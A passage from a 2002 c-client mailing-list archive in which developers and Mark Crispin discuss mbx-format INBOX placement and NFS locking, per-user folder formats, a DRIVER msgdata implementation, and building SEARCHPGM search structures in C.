UNIX mailbox format. If you put an mbx format file as a > /var/mail/user file, it will not be recognized as valid since it is not in > traditional UNIX mailbox format. > > An mbx-format INBOX is always file "INBOX" in your home directory. > Thanks for the quick response. I am reading drivers.txt again and think I have a better understanding. Out of curiosity, what then is the point in the tmail program then which delivers incoming mail to the spool file in mbx format? So, I moved the /var/mail/user file in mbx format to ~/INBOX and it all seems to work now. One problem is our home directories are on NFS and there is a warning about mbx format files over NFS. Is there anyway to remap on a per user basis where this INBOX file is so it is on a local disk space on the mail server owned by the user? I guess I could just remap the user's home directory in /etc/passwd on per user basis on the mail server. It seems that maybe the whole purpose of the "black box mode" maybe to handle this. Though it appears to be an all or nothing settings, not per user. Also, drivers.txt seems to imply that in black box mode imapd will no longer "snarf" email from /var/mail/user into the INBOX file of the user's black box area. Is this true? Maybe this is then where tmail would have to come in to deliver directly to the INBOX file in each users black box area. For now, to give users a choice, I am going to try the home dir override in /etc/passwd method. From pinedev@shivax2.cac.washington.edu Wed Nov 20 09:36:03 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Nov 2002 09:36:03 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKHa3qt007297 for ; Wed, 20 Nov 2002 09:36:03 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Nov 20 09:36:01 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKHa0S4031266 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 20 Nov 2002 09:36:01 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKHYeHH029156; Wed, 20 Nov 2002 09:34:41 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKHWRrw013266 for ; Wed, 20 Nov 2002 09:32:27 -0800 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Wed Nov 20 09:32:27 2002 -0800 Received: from mail.nmr.mgh.harvard.edu (mail.nmr.mgh.harvard.edu [132.183.202.9]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKHWQPC001950 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 20 Nov 2002 09:32:26 -0800 Received: from gate.nmr.mgh.harvard.edu (gate.nmr.mgh.harvard.edu [132.183.203.69]) by mail.nmr.mgh.harvard.edu (8.12.2/8.12.2) with ESMTP id gAKHWIHm031670; Wed, 20 Nov 2002 12:32:18 -0500 Message-Id: Date: Wed, 20 Nov 2002 12:32:18 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Paul Raines To: Ricardo Stella Cc: c-client@u.washington.edu Subject: Re: cannot get mbx format INBOX to work In-Reply-To: <3DDBBF1A.138F5181@rider.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 20 Nov 2002, Ricardo Stella wrote: > > Why not deliver in mbox format to /var/mail/user, but then as long as > EXTRADRIVERS=mbox is enabled, mail will move to ~/INBOX upon connection. > > Now, if CREATEPROTO=mbxproto is set, then any new mailboxes will be > created in mbx format. For new accounts, make sure you create an empty > INBOX in mbx format. You can have an empty folder in mbx format and > copy it to the users's home as INBOX... > I don't want to make the default for everyone mbx. I thought I could do this on a per user basis by putting set new-folder-format mbx set empty-folder-format mbx in ~/.imaprc, but this is not working. New folders are still in old the old mbox format when I connect Outlook, Netscape, ... over IMAP to my mail server and have it create a new folder. It is also true that mbxcreat '{mail/user=raines}mail/newf' creates a standard mbox format folder. The only way I can get this to work is mbxcreat '{mail/user=raines}#driver.mbx/mail/newf' but I would like it to work from Outlook, Netscape, etc. From pinedev@shivax2.cac.washington.edu Wed Nov 20 11:30:54 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Nov 2002 11:30:53 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKJUrqt012959 for ; Wed, 20 Nov 2002 11:30:53 -0800 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Nov 20 11:30:51 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKJUpYT003691 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 20 Nov 2002 11:30:51 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKJU7S1004642; Wed, 20 Nov 2002 11:30:07 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKJRRrw013260 for ; Wed, 20 Nov 2002 11:27:27 -0800 Received: FROM mxu7.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Nov 20 11:27:26 2002 -0800 Received: from ms-001.msa ([200.214.151.5]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKJRJQl021853 for ; Wed, 20 Nov 2002 11:27:25 -0800 Message-Id: Date: Wed, 20 Nov 2002 17:26:39 -0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jacques Exelrud" To: Subject: DRIVER->msgdata implementation problem content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 X-MS-Has-Attach: X-MS-TNEF-Correlator: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm trying to implement msgdata (DRIVER) but without much success. The = implementation for the header retrieval is OK but for both the body and = the attachments it is not working. The code below is taken from mail.c (fetch_body) if (!(b =3D mail_body (stream,msgno,section))) return ""; /* have cached text? */ if ((t =3D &(p =3D &b->contents)->text)->data) { /* mark message seen */ markseen (stream,mail_elt (stream,msgno),flags); return mail_fetch_text_return (&md,t,len); } if (!stream->dtb) return ""; /* not in cache, must have live driver = */ if (stream->dtb->msgdata) return ((*stream->dtb->msgdata)(stream,msgno,section,0,0,NIL,flags) && = t->data) ? // Regarding this line ******* mail_fetch_text_return (&md,t,len) : ""; if (len) *len =3D t->size; t->size is already filled (from the envelope) but the line marked = should be able to give a meaningful value to t->data as it is NULL = before the call and must not be after it. The problem is that I'm unable to get to t because mail_body returns = different data (new structure) when called. That is probably the problem = but this is the only way I got it working when implementing the = structure entry on DRIVER table; If I try to save the data and not = rebuild it when needed I get an assert inside free_body. Thanks in advance, Jacques -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Nov 20 13:01:24 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Nov 2002 13:01:24 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKL1Oqt016935 for ; Wed, 20 Nov 2002 13:01:24 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Nov 20 13:01:21 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKL1LS4005908 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 20 Nov 2002 13:01:21 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKL0LaQ009930; Wed, 20 Nov 2002 13:00:21 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKKvbrw016110 for ; Wed, 20 Nov 2002 12:57:38 -0800 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Nov 20 12:57:37 2002 -0800 Received: from samera.com (mail.samera.com.py [200.85.40.10]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKKvUEi023032 for ; Wed, 20 Nov 2002 12:57:34 -0800 Received: from samera.com.py (sojourner.samera.com [192.168.1.1]) by samera.com (8.11.6/8.11.6) with ESMTP id gAKKvaf25888 for ; Wed, 20 Nov 2002 17:57:36 -0300 Message-Id: <3DDBF73A.5000905@samera.com.py> Date: Wed, 20 Nov 2002 17:57:30 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Oliver Schulze L." To: c-client@u.washington.edu Subject: Re: Parsing In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: es-py, en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, thanks for the examples and explanations. Sorry about the delay ... I understand your point, but the parsing I'm talking about is the parsing of a IMAP4 search string. Not a search string entered by the user. I think if there is a function that parses an IMAP4 search string into an *SEARCHPGM, it will help programers that use the c-client library. In the PHP example, this is what should happend: - the PHP programer parse a human redeable search string into an IMAP4 search string - the PHP developer use this IMAP4 search string and convert it to a *SEARCHPGM using a parsing function - the PHP developer then pass this *SEARCHPGM to the function imap_search() - What happend is that work of the PHP developer is more easier and the PHP programer does the human-to-imap4 search string convertion. This proposed parsing function will make it easier for c-client users, like PHP, to implement IMAP4 search strings. Right now, PHP does not support IMAP4 search strings because of the lack of this function. Let me know what you think about this new IMAP4 search string to SEARCHPGM parsing function. Regards Oliver Mark Crispin wrote: >On Fri, 08 Nov 2002 15:12:01 -0300, Oliver Schulze L. wrote: > > >>The problem I trying to solve is in the php.net implementation of imap >>searching. >> >> > >I understand. This has been a difficult problem. > >Basically, my position has been that IMAP search strings, while "logical", are >a terrible interface from a human's point of view. Consider > FLAGGED OR FROM SMITH CC JONES >Most humans would interpret this as "messages which are flagged, or are from >SMITH and cc JONES". But that is not what IMAP does; in IMAP it means >"messages which are flagged, *and* are from SMITH or cc JONES." > >I feel that the correct thing would be for PHP and/or the application to >provide an interface suitable for humans, as opposed to passing IMAP strings. > >An additional complication, and what was fatal to mail_criteria(), is in the >handling of strings which require representation as a literal. Then, too, >mail_criteria() is very thread-unsafe... > >One problem that people traditionally had was in generating the shortdates >expected by the date search criteria. imap-2002 now has a mail_shortdate() >function which should make this a lot easier. > > > >>I was trying some examples of building a SEARCHPGM and could't find >>the way to have more than one criteria. Like when using OR/AND, etc >>How do I do this? >> >> > >AND is easy. Just set multiple criteria in the SEARCHPGM. For example you >can do FLAGGED UNSEEN with: > SEARCHPGM *pgm = mail_newsearchpgm(); > pgm->flagged = pgm->unseen = T; > >OR is more complicated. You create a SEARCHPGM for each part of the OR'd >expression, and set them in the SEARCHOR in a higher SEARCHPGM. For example, >to do OR FLAGGED UNSEEN: > SEARCHPGM *pgm = mail_newsearchpgm(); > pgm->or = mail_newsearchor(); > pgm->or->first = mail_newsearchpgm(); > pgm->or->first->flagged = T; > pgm->or->second = mail_newsearchpgm(); > pgm->or->second->unseen = T; >This is actually expressing ALL OR FLAGGED UNSEEN, which is equivalent. > >NOT works in a corresponding way; it is a linked list of SEARCHPGMs which are >"AND NOT" with the top level. For example, to do NOT FLAGGED NOT UNSEEN: > SEARCHPGM *pgm = mail_newsearchpgm(); > pgm->not = mail_newsearchpgmlist(); > pgm->not->pgm = mail_newsearchpgm(); > pgm->not->pgm->flagged = T; > pgm->not->next = mail_newsearchpgmlist(); > pgm->not->next->pgm = mail_newsearchpgm(); > pgm->not->next->pgm->unseen = T; > >Of course, this was a very silly example, since an equivalent search can be >done with UNFLAGGED SEEN: > SEARCHPGM *pgm = mail_newsearchpgm(); > pgm->unflagged = pgm->seen = T; >NOT generally only happens with string searches, since most other search terms >already have logical opposites (thus making NOT extraneous). > >Yes, I know that this all looks pretty imposing, but you have to think about >what the IMAP strings would look like. No normal mortal will be able to >comprehend RECENT OR FROM SMITH CC JONES correctly, so you will need your own >interface. It actually is easier, and less bug-prone, to generate a SEARCHPGM >than it is to try to figure out how IMAP expresses things. > >But I understand that there can be a comprehension gap. > > -- Oliver Schulze L. From pinedev@shivax2.cac.washington.edu Wed Nov 20 15:16:44 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Nov 2002 15:16:44 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKNGiqt021820 for ; Wed, 20 Nov 2002 15:16:44 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Nov 20 15:16:43 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKNGfS4010126 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 20 Nov 2002 15:16:43 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKNFTHH032522; Wed, 20 Nov 2002 15:15:29 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKNCQrw016788 for ; Wed, 20 Nov 2002 15:12:26 -0800 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Wed Nov 20 15:12:25 2002 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKNCPDe016925 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 20 Nov 2002 15:12:25 -0800 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.138]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKNCOVM031004 for ; Wed, 20 Nov 2002 15:12:24 -0800 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Wed Nov 20 15:12:22 2002 -0800 Received: from Shimo-Tomobiki.Panda.COM ([12.108.253.3]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKNCJmZ017141 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 20 Nov 2002 15:12:21 -0800 Message-Id: Date: Wed, 20 Nov 2002 18:12:18 -0500 (Eastern Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Paul Raines Cc: c-client@u.washington.edu Subject: Re: cannot get mbx format INBOX to work In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 20 Nov 2002, Paul Raines wrote: > Out of curiosity, what then is the point in the tmail program then which > delivers incoming mail to the spool file in mbx format? tmail delivers incoming mail to the ~/INBOX file in mbx format if it exists. It can also deliver incoming mail to the spool file in traditional UNIX format. But it doesn't deliver incoming mail to the spool file in mbx format...at least not if properly configured, built, and installed. > One problem is our home directories are on NFS and there is a warning > about mbx format files over NFS. Yes, you can't use NFS-mounted directories for mbx format. Locking won't work. It's just not safe. If you assign the users a different, locally mounted, directory for their mail files, you can modify routine mymailboxdir() in env_unix.c to set that directory for the "home directory" instead of the UNIX home directory. > It seems that maybe the whole purpose of the "black box mode" maybe > to handle this. I recommend not using black box mode. It's an internal UW only mode for a particular server that is for about a dozen users only. It's not supported for outside sites. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Nov 20 15:18:02 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Nov 2002 15:18:02 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.137]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKNI2qt021889 for ; Wed, 20 Nov 2002 15:18:02 -0800 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Wed Nov 20 15:18:01 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKNI0S4010195 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 20 Nov 2002 15:18:01 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKNHIHH020970; Wed, 20 Nov 2002 15:17:18 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKNEcrw016884 for ; Wed, 20 Nov 2002 15:14:38 -0800 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Nov 20 15:14:37 2002 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKNEbPC024962 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 20 Nov 2002 15:14:37 -0800 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.170]) by mxout5.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKNEbpB012437 for ; Wed, 20 Nov 2002 15:14:37 -0800 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Wed Nov 20 15:14:36 2002 -0800 Received: from Shimo-Tomobiki.Panda.COM ([12.108.253.3]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKNEYmZ017253 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 20 Nov 2002 15:14:35 -0800 Message-Id: Date: Wed, 20 Nov 2002 18:14:34 -0500 (Eastern Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Paul Raines Cc: c-client@u.washington.edu Subject: Re: cannot get mbx format INBOX to work In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN In general, the software is designed to hide details of mailbox formats for IMAP users. The assumption is that the system manager sets format policy for IMAP users, and that only local users care about format details. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Nov 20 15:23:27 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Nov 2002 15:23:27 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKNNRqt022086 for ; Wed, 20 Nov 2002 15:23:27 -0800 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Nov 20 15:23:26 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKNNPS4010368 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 20 Nov 2002 15:23:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKNMUaQ015030; Wed, 20 Nov 2002 15:22:31 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKNKhrw027894 for ; Wed, 20 Nov 2002 15:20:43 -0800 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Wed Nov 20 15:20:42 2002 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKNKgDe018632 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 20 Nov 2002 15:20:42 -0800 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.138]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAKNKf5C025257 for ; Wed, 20 Nov 2002 15:20:41 -0800 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Wed Nov 20 15:20:38 2002 -0800 Received: from Shimo-Tomobiki.Panda.COM ([12.108.253.3]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAKNKbmZ017666 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 20 Nov 2002 15:20:38 -0800 Message-Id: Date: Wed, 20 Nov 2002 18:20:37 -0500 (Eastern Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jacques Exelrud Cc: c-client@u.washington.edu Subject: Re: DRIVER->msgdata implementation problem In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Since the IMAP driver is the only one which implements the msgdata method, it would be a good idea to see how the IMAP driver works. That should answer most of your questions. You're probably the first person to try to implement a msgdata method in a non-IMAP driver, so you'll have to do a fair amount of study to understand how it works. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Nov 20 16:37:15 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Nov 2002 16:37:15 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAL0bFqt024483 for ; Wed, 20 Nov 2002 16:37:15 -0800 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Nov 20 16:37:12 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAL0bBYT014106 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 20 Nov 2002 16:37:12 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAL0aVg2091048; Wed, 20 Nov 2002 16:36:32 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAL0XUrw013214 for ; Wed, 20 Nov 2002 16:33:30 -0800 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Wed Nov 20 16:33:27 2002 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAL0XRMc017401 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 20 Nov 2002 16:33:27 -0800 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.138]) by mxout5.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAL0XRpB002254 for ; Wed, 20 Nov 2002 16:33:27 -0800 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Wed Nov 20 16:33:24 2002 -0800 Received: from Shimo-Tomobiki.Panda.COM ([12.108.253.3]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAL0XLmZ021803 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 20 Nov 2002 16:33:24 -0800 Message-Id: Date: Wed, 20 Nov 2002 19:33:21 -0500 (Eastern Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Oliver Schulze L." Cc: c-client@u.washington.edu Subject: Re: Parsing In-Reply-To: <3DDBF73A.5000905@samera.com.py> References: <3DDBF73A.5000905@samera.com.py> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 20 Nov 2002, Oliver Schulze L. wrote: > I understand your point, but the parsing I'm talking about is the > parsing of a IMAP4 search string. Not a search string entered > by the user. Yes, but when you use mail_criteria(), what happens is that the string is parsed into a SEARCHPGM which is subsequently converted into an IMAP SEARCH command. It's a lot of extra conversions, but this was done because of the need to handle literals in IMAP. > I think if there is a function that parses an IMAP4 search string > into an *SEARCHPGM, it will help programers that use the > c-client library. Why can't programmers create SEARCHPGMs directly? They should be easier to do than IMAP search strings, especially since IMAP search strings are very difficult to handle when you do string searches. mail_criteria() is a compatibility routine for old programs which hadn't been converted yet. I'm more likely to remove mail_criteria entirely than try to update it for IMAP4. There's a reason why SEARCHPGMs were created instead of using char* strings. As a result of the additional complexity of IMAP4, IMAP search strings don't work well as a char* any more. They are complex, multiline things that are broken up depending upon underlying IMAP requirements that have nothing to do with strings. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Nov 21 06:46:19 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Nov 2002 06:46:19 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALEkJqt013039 for ; Thu, 21 Nov 2002 06:46:19 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Nov 21 06:46:15 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALEkES4030295 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 21 Nov 2002 06:46:14 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALEg8S1013184; Thu, 21 Nov 2002 06:42:08 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALEcOrw019506 for ; Thu, 21 Nov 2002 06:38:26 -0800 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Thu Nov 21 06:38:23 2002 -0800 Received: from samera.com (mail.samera.com.py [200.85.40.10]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALEcBEi030655 for ; Thu, 21 Nov 2002 06:38:21 -0800 Received: from 